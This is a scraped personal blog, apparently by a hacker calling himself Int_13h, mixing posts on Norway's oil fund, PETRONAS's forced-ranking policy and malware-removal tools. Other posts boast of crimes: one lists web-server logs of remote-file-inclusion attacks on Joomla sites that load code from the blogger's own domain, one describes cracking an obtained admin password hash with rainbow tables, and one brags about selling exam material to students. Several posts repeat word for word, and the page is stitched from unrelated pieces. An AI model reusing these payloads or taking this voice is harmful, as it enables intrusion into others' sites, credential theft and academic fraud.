Norwegians were quick to learn from the Dutch that its resources had to be managed in a sustainable manner.
In 1990, A Norwegian Petroleum fund was established with the main aim of acting as a buffer to smoothen oil price fluctuations, and stabilising the exchange rate to avoid the dreaded Dutch Disease. As Norway has an aging population, the fund is also meant to help address the future needs of the country.
At the end of 2001, the size of the fund (at US$400bil) was equivalent to 45% of its GDP, and this fund is invested abroad to avoid overheating the Norwegian economy.
The fund is widely rated as one of the best managed sovereign funds, and this is due to the strict guidelines for its operations for which the authority goes back to the Parliament. Any transfer to and from the funds needs Parliamentary approval. The Government is also required to report to Parliament on the fund’s status – three times a year.
This is the first of a two-part article. Next week, Dr Fong will discuss “The Way Forward: Creation of a Future Malaysian Fund from Oil Revenue”."
Yup!!!..surely you'll be interested to be in this giant company rite?students would dream of working for this big company but lets see on how well this company treated it's professional worker aka Executives.
Currently they are embarking on a new initiatives held by this HRM which is called "Forced Renking"
What is forced raking?
HERE IT iS
Found it when i google
Forced ranking is a controversial workforce management tool that uses intense yearly evaluations to identify a company's best and worst performing employees, using person-to-person comparisons. In theory, each ranking will improve the quality of the workforce. Managers rank workers into three categories: The top 20 percent are the "A" players, the people who will lead the future of the company. They're given raises, stock options, and training. The middle 70 percent are the "B" players, steady-eddies who are given smaller raises and encouraged to improve. The bottom 10 percent are the "C" players, who contribute the least and may be meeting expectations but are simply "good" on a team of "greats." They're given no raises or bonuses and are either offered training, asked if they'd be happier elsewhere, or fired.
Key Stats
Why It Matters Now
Although most large organizations refuse to publicly discuss or even confirm whether they're using some form of forced ranking, as many as one-third of Fortune 500 companies use such systems, says Dick Grote, author of "Forced Ranking: Making Performance Management Work." Forced ranking first gained attention at General Electric in the 1980s. The practice lost its glimmer in recent years following Enron's downfall, which has been attributed in part to back-biting spurred by forced rankings. But with unemployment at its lowest level since the 1990s, the talent war has heated up again, making it more important to identify top performers, since they're being more heavily recruited.
Why It Matters to You
Forced ranking tends to be popular with large corporations that have hundreds or thousands of employees and need to systematize their HR processes. If your workplace is one of these—and if the company is in trouble and looking for solutions—forced ranking could be in your future. The long-run impact should ideally be increased productivity, profitability, and shareholder value. But sometimes a company culture can shift due to forced ranking, creating a more competitive atmosphere and decreasing morale.
If you're in the market for a new job, spend some time researching which companies in your industry use forced ranking. Some firms will not openly offer this information to potential employees.
The Strong Points
By identifying their top employees, companies can jolt managers out of complacency, combat artificially inflated performance ratings, and reduce favoritism, nepotism, and promotions that may be based on factors other than performance. Managers can identify top performers—the people they least want to lose—and reward, keep, and train them to be future leaders of the business. Forced ranking also provides a justifiable way to identify and lose workers who may be holding the business back. About 40 percent of "C" players voluntarily resign, which is often a happy outcome for managers, who can then hire better-quality replacements.
The Weak Spots
Companies can inevitably make mistakes using forced ranking, firing someone who might go on to be a super star elsewhere or discouraging excellent performers by ranking them as mediocre simply to fill a quota. Replacing lower-rung employees each year can also be costly and can lower productivity in the early months of adoption. New data, including a study by Drake University professor Steve Scullen, shows that forced ranking loses its effectiveness after a couple of years, since the average quality of workers increases and there are fewer "C" players to identify.
Critics also claim the system creates a competitive environment that can result in cutthroat, unethical behavior; limit risk-taking, creativity, and teamwork; and discourage workers from asking for help or extra training out of fear that they'll be identified as low performers. The strategy has also resulted in legal troubles for such companies as Microsoft, Ford, Goodyear, 3M, and Capital One, which have fought discrimination lawsuits filed by former employees who claimed forced ranking was used to discriminate on the basis of race or age.
Key Players
General Electric: The most famous practitioner of forced ranking in the 1980s and 1990s. Former CEO Jack Welch suggests that forced ranking helped grow GE's revenues to $130 billion in 2000 from $70 billion in 1995.
Yahoo! The Internet company created its own version of forced ranking, called "stack-ranking," to determine how compensation increases are distributed. Managers rank employees from top to bottom and award bonuses and raises accordingly.
Ford Motor Co.: The car manufacturer employed forced ranking until 2001, when Bill Ford took over as CEO. Ford settled a lawsuit for $10.6 million that year when fired employees alleged age discrimination.
Motorola: The phone maker relied on forced ranking between 2001 and 2003 but has since discontinued using the management system.
How to Talk About It
Despite widespread usage, most executives and human resources officials won't use the term "forced ranking" to refer to their own process because the phrase itself seems harsh. People refer to it as their "talent management process" or "leadership assessment procedure."
Relative comparison: An appraisal that compares employees against each other, forcing some to be rated above others, such as, "How did Joe do compared to Sally and Bob?"
Absolute comparison: A conventional performance appraisal, such as, "How good did Joe do against the responsibilities and goals set at the beginning of the year?"
Forced distribution: An appraisal that does not compare people against each other but gives employees ratings such as "excellent," "good," or "needs improvement." A set number or percentage of workers must fall into each category.
Thats the fact of this whole thing,but lets looks at the PRO and CONS of this thing.
PROS
Requires reluctant managers to identify the most and least talented members of the work group. "It's difficult to confront poor performers, but going easy on employees can just create more problems for an organization," says Grote. "Forced ranking
forces organizations to acknowledge that talent variations actually exist."
Provides the organization with useful data on the ability of managers to spot and champion talent. "What the managers learn in terms of talent in the organization is one of the greatest benefits of forced ranking," Grote says. "Their thinking processes are challenged and they learn how to make good decisions about employee potential."
Provides an independent verification of performance appraisal data. Forced ranking is not a substitute for a performance appraisal. Forced ranking affects only those at the top, while performance appraisal affects everybody. "Companies must have a robust performance appraisal process in place before considering forced ranking," Grote says.
As larger groups are evaluated, the forced ranking process may permit more accurate cross-department comparisons. "Forced ranking provides a great benefit to talented employees," Grote explains. "The process brings these individuals to the attention of a large number of senior executives."
CONS
Morale is negatively affected. Organizations in which employees are encouraged—even rewarded—for focusing on their individual performance instead of working with and supporting others do not tend to be happy, motivating places to work, according to Bob Rogers, president of Development Dimensions International, Pittsburgh. "Forced ranking might weed out the people an organization would like to see go, but oftentimes valued performers become disenchanted with the work environment and end up leaving."
Grote admits that some managers and employees may resent the process. "I guarantee you'll have to drag a number of employees kicking and screaming into the process," he says. "But that's to be expected with any major change."
Employees ranked in a lower category may be demoralized. "This is true, but keep in mind that the people we are talking about are in the bottom category anyway," Grote says. "If they are demoralized, but everybody else is energized, that's a good thing."
The process may produce an excessively competitive environment. "I have never seen it to be true. That is one of the easiest things to overcome because forced ranking takes away competitiveness," argues Grote. But Rogers believes forced ranking increases the competitiveness among peers who know they are being ranked. "Forced ranking changes the culture from 'we are all in this together' to 'if I help that person too much, she might be ranked above me,'" he says.
Mistakes are inevitable. "You're bound to miss a few late bloomers and overrate a few glib duds," Grote says. —G.J.
Im sure of you are working for this big company you'll know that how unfair of the system to Executives
Here the facts:
1)Forced ranking only applies to Executives
2)Technicians are not eligible for this scheme
My opinion on this new initiatives of HRM in this big company in order to increase the revenue and profit
1)Review back the technician mileage claims/impose redius setlement or fixed rate mileage claim.ie Workplace was 103km from home.Everyday claims amounting to RM 3000 a month!.What the heck???! that was just for one person.Imagine this big company holding about 20,000 of its technicians worldwide.What is the big amount? its RM 8,000,000 a month.Just Imagine...
2)Dont spend your money lavishly on things just to let "poeple acknowledge PETRONAS" ie F1,Coporate Service Responsibility Programme,sponsoring this and that
3)Executive to have a union like KAPENAS which they will have some "shoulder to cry" to.
4)Stop this nonsence initiatives.
Man..im out of ideas now..well gtg.Just my 2cents thought.
Monday, September 8, 2008
So many malware and spyware
oh..feels like an author again..actually im trying to get rid of malware from my computer..this things are bought back from my worm farm workplace:P
Ive come across alot of advertisements from what i google on how to remove theese malware but yet..only a few can remove/prevent this malware from getting in your computer
This is the name of malware that has infected my computer. permatainstep.js <--harmless but annoying mawar virus<--very irritating and a few that i cant remember.
Currently i want to share my experience on software that is actually removes almost all of your malware@spyware
Theese are:
Malwarebytes
Superantisyware
USBdisk security<--a must my friend..very good
and also
Sergiwa RRT<--removes restriction set by malware on your computer..indeed good
Sergiwa CASiR
all of this things are in my computer and they manages to stop/remove/prevent all those malware and spyware from entering your computer.
P/S:Im not responsible for any losses made from this programs as stated in the agreement of each of the software makers.I also cant be held responsible for any things that go wrong after using the software..it is just my thought as ive ben using them and i find it good and should be advertise.That's all folks.
well..im finished..now all gone:)gtg...have my dinner
Ive come across alot of advertisements from what i google on how to remove theese malware but yet..only a few can remove/prevent this malware from getting in your computer
This is the name of malware that has infected my computer. permatainstep.js <--harmless but annoying mawar virus<--very irritating and a few that i cant remember.
Currently i want to share my experience on software that is actually removes almost all of your malware@spyware
Theese are:
Malwarebytes
Superantisyware
USBdisk security<--a must my friend..very good
and also
Sergiwa RRT<--removes restriction set by malware on your computer..indeed good
Sergiwa CASiR
all of this things are in my computer and they manages to stop/remove/prevent all those malware and spyware from entering your computer.
P/S:Im not responsible for any losses made from this programs as stated in the agreement of each of the software makers.I also cant be held responsible for any things that go wrong after using the software..it is just my thought as ive ben using them and i find it good and should be advertise.That's all folks.
well..im finished..now all gone:)gtg...have my dinner
Tuesday, October 2, 2007
oops i think i did it again
70.87.118.244 - - [15/Sep/2007:06:08:52 -0700] "GET /components ...
| mosConfig_absolute_path=http://project-tango.info/info.txt? HTTP/1.1" 404 275 "-" "libwww-perl/5.805" "hollywoodbeautycollege.net" 86.8.25.1 ... hollywoodbeautycollege.net/logs/access_070916.log - 75k - |
202.190.203.213 - - [16/Sep/2007:16:06:34 +0900] "GET /admin ...
| ... [16/Sep/2007:16:06:39 +0900] "GET //components/com_rsgallery/rsgallery.html. www.narukage.com/admin/access_log - 149k - |
dolfdude69's Yahoo! profile
| Home Page:: www.organictangosf.info; Cool Link 1: www.Project-Tango.info; Cool Link 2: www.sftx.info. On Yahoo! Messenger. - Add to friend list ... profiles.yahoo.com/dolfdude69 - 15k - |
Int_13h:Dancing with Obsecurity
| now im doing the index.html for my site which is http://project-tango.info and still..i didnt managed to get the banners designright..yeah..yeah..i know..im ... interrupt13h.blogspot.com/ - |
findrecord
| ... /components/com_serverstat//components/com_rsgallery/rsgallery.html.php? www.scit.wlv.ac.uk/.../modules/vwar/admin/ |
Overall Activity Report: naturalthroatsoother.co.nz
| mosConfig_absolute_path=http:/project-tango.info/info.txt? 1 Code 404 Not Found = /utopia/stats/components/com_rsgallery/rsgallery.html.php? ... naturalthroatsoother.co.nz/utopia/stats/overall.htm - 268k - |
Access Details Report: naturalthroatsoother.co.nz
| mosConfig_absolute_path=http:/project-tango.info/info.txt? unresolved (202.46.201.xxx) - Spider/Robot 13 Sep -- 13:06:53 -- 00:01 -- Code 404 Not Found ... naturalthroatsoother.co.nz/utopia/stats/details.htm - |
209.50.238.178 - - [16/Sep/2007:04:32:50 +0900] "GET /admin ...
| ... [16/Sep/2007:16:09:28 +0900] "GET /admin//components/com_rsgallery/rsgallery. www.toukiya.com/admin/access_log - 74k - |
dns7.cyberneticos.com - - [16/Sep/2007:04:52:18 +0900] "GET ...
| ... [16/Sep/2007:16:28:00 +0900] "GET /admin//components/com_rsgallery/rsgallery. www.shibusoku.com/admin/access_log - 99k - |
Overall Activity Report: bodyfatblitz.co.nz
| mosConfig_absolute_path=http:/project-tango.info/info.txt? 2 Code 404 Not Found = /utopia/stats/components/com_rsgallery/rsgallery.html.php? ... www.bodyfatblitz.co.nz/utopia/stats/overall.htm - 310k - |
loadedhosting.com - - [16/Sep/2007:10:09:57 +0900] "GET /admin ...
| mosConfig_absolute_path=http://project-tango.info/info.txt? HTTP/1.1" 404 332 202.190.203.213 - - [16/Sep/2007:16:20:53 +0900] "GET ... www.gmobptest02.com/admin/access_log_resolv.tmp - 237k - |
168.103.142.117 - - [14/Sep/2007:17:00:30 -0700] "GET /logs/%3Cwbr ...
| mosConfig_absolute_path=http://project-tango.info/info.txt? HTTP/1.1" 404 275 "-" "libwww-perl/5.805" "www.getyourselfahorse.com" 202.190.203.213 ... www.getyourselfahorse.com/logs/access.log - 735k - |
194.79.31.97 - - [16/Sep/2007:12:08:02 +0900] "GET //modules/vwar ...
| mosConfig_absolute_path=http://project-tango.info/info.txt? HTTP/1.1" 404 329 202.190.203.213 - - [16/Sep/2007:16:17:13 +0900] "GET ... www.runpippi.com/admin/access_log_resolv.tmp - 262k - |
lsh206.chi.us.siteprotect.com - - [16/Sep/2007:04:56:03 +0900 ...
| mosConfig_absolute_path=http://project-tango.info/info.txt? HTTP/1.1" 404 325 202.190.203.213 - - [16/Sep/2007:16:37:15 +0900] "GET ... www.3sho.net/admin/access_log_resolv.tmp - 410k - |
Overall Activity Report (Full Lists): GBK Files
06:42:14 16 Sep 2007 1 1315 /components/com_flyspray/startdown.php?gbkworks.com/admin/gbklog.files.html - 977k -
Still waiting for the host computer to power up
This summary is not available. Please
click here to view the post.
Cracking mood
11/10/2004 01:04 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#000.rt
11/10/2004 01:14 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#001.rt
11/10/2004 01:25 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#002.rt
11/10/2004 01:33 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#003.rt
11/10/2004 01:42 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#004.rt
04/28/2007 01:06 PM 176,406,448 md5_mixalpha-numeric-all-space#1-6_0_1000
0x11025403_distrrtgen_4.rt
04/28/2007 01:03 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_0.rt
04/28/2007 01:04 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_1.rt
04/28/2007 01:05 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_2.rt
04/28/2007 01:06 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_3.rt
Ive been downloading for about 1 day now and i have finished downloading 10 tables now..still got 45 tables to go :i
man thats alot..but i still determined to crack the admin pass that i obtained and as far that ive known..my lm_alpha-numeric cant crack the pass..so i ave to download this table..60gb in size..i hope that it will finished on time..
this is the damn hash..man..it hard to crack this one..
DDF770BB0D20450F96690E39xxxxxxx:429717DBFA1BA1C8DB4B736Exxxxxxxx
:censored:
now ive been looking for rainbow table for office documents:) really new actually but im pretty sure that there must be one on the net and im still searching..:O byw..i think i have to buy a new portable HD just to cater my cracking needs..
#000.rt
11/10/2004 01:14 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#001.rt
11/10/2004 01:25 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#002.rt
11/10/2004 01:33 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#003.rt
11/10/2004 01:42 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#004.rt
04/28/2007 01:06 PM 176,406,448 md5_mixalpha-numeric-all-space#1-6_0_1000
0x11025403_distrrtgen_4.rt
04/28/2007 01:03 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_0.rt
04/28/2007 01:04 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_1.rt
04/28/2007 01:05 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_2.rt
04/28/2007 01:06 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_3.rt
Ive been downloading for about 1 day now and i have finished downloading 10 tables now..still got 45 tables to go :i
man thats alot..but i still determined to crack the admin pass that i obtained and as far that ive known..my lm_alpha-numeric cant crack the pass..so i ave to download this table..60gb in size..i hope that it will finished on time..
this is the damn hash..man..it hard to crack this one..
DDF770BB0D20450F96690E39xxxxxxx:429717DBFA1BA1C8DB4B736Exxxxxxxx
:censored:
now ive been looking for rainbow table for office documents:) really new actually but im pretty sure that there must be one on the net and im still searching..:O byw..i think i have to buy a new portable HD just to cater my cracking needs..
In my university again!!
argh!!! yeah..yeah..i know..now that i got no jobs and got no money and got nothing to do..i went back to my university..ive been sitting here for almost 2 weeks now and i haven't earned a single penny from the students.I need duit raya la for this year. i need to change my vtec engine coz im very boared with that engine.
Know why? 1)vtec in satria sounds weird right
2)no aircond
3)the mounting always get worn out every 2-3 month
how the hell im going to replace that if i don't have money?mm.. and now ive made my decision to take he mitsubshi 4g61 engine.
but first things first..i have to sell my engine at 4K and then buy the 4g61 engine for 3.8K then have to buy the new dashboard..the gearbox and make my car look like a car(now it doesnt).
Hm..now it's called Int_13h MLM(Multi level marketing) i've been giving out what the students need to pass their exams and now their bargaining on the price.WTF? you have what it takes to pass and graduate bt u still want to bargain the price.Thats what i call not appreciating what is given to u rite?what happens if all this are not possible in the university?maybe u'll be dying and struggling for that subject rite?
I guess maybe their now afraid coz the exam day are far away and tests also have not been condusted yet..but now ive been thinking to raise the price;) coz i think that they are arrogant rite?nvm..later ull come for it..and during that time..it'll be lot more expensive than before.FYI i just want to earn around 1-2K god dammit!!
Know why? 1)vtec in satria sounds weird right
2)no aircond
3)the mounting always get worn out every 2-3 month
how the hell im going to replace that if i don't have money?mm.. and now ive made my decision to take he mitsubshi 4g61 engine.
but first things first..i have to sell my engine at 4K and then buy the 4g61 engine for 3.8K then have to buy the new dashboard..the gearbox and make my car look like a car(now it doesnt).
Hm..now it's called Int_13h MLM(Multi level marketing) i've been giving out what the students need to pass their exams and now their bargaining on the price.WTF? you have what it takes to pass and graduate bt u still want to bargain the price.Thats what i call not appreciating what is given to u rite?what happens if all this are not possible in the university?maybe u'll be dying and struggling for that subject rite?
I guess maybe their now afraid coz the exam day are far away and tests also have not been condusted yet..but now ive been thinking to raise the price;) coz i think that they are arrogant rite?nvm..later ull come for it..and during that time..it'll be lot more expensive than before.FYI i just want to earn around 1-2K god dammit!!
Subscribe to:
Posts (Atom)
Counter
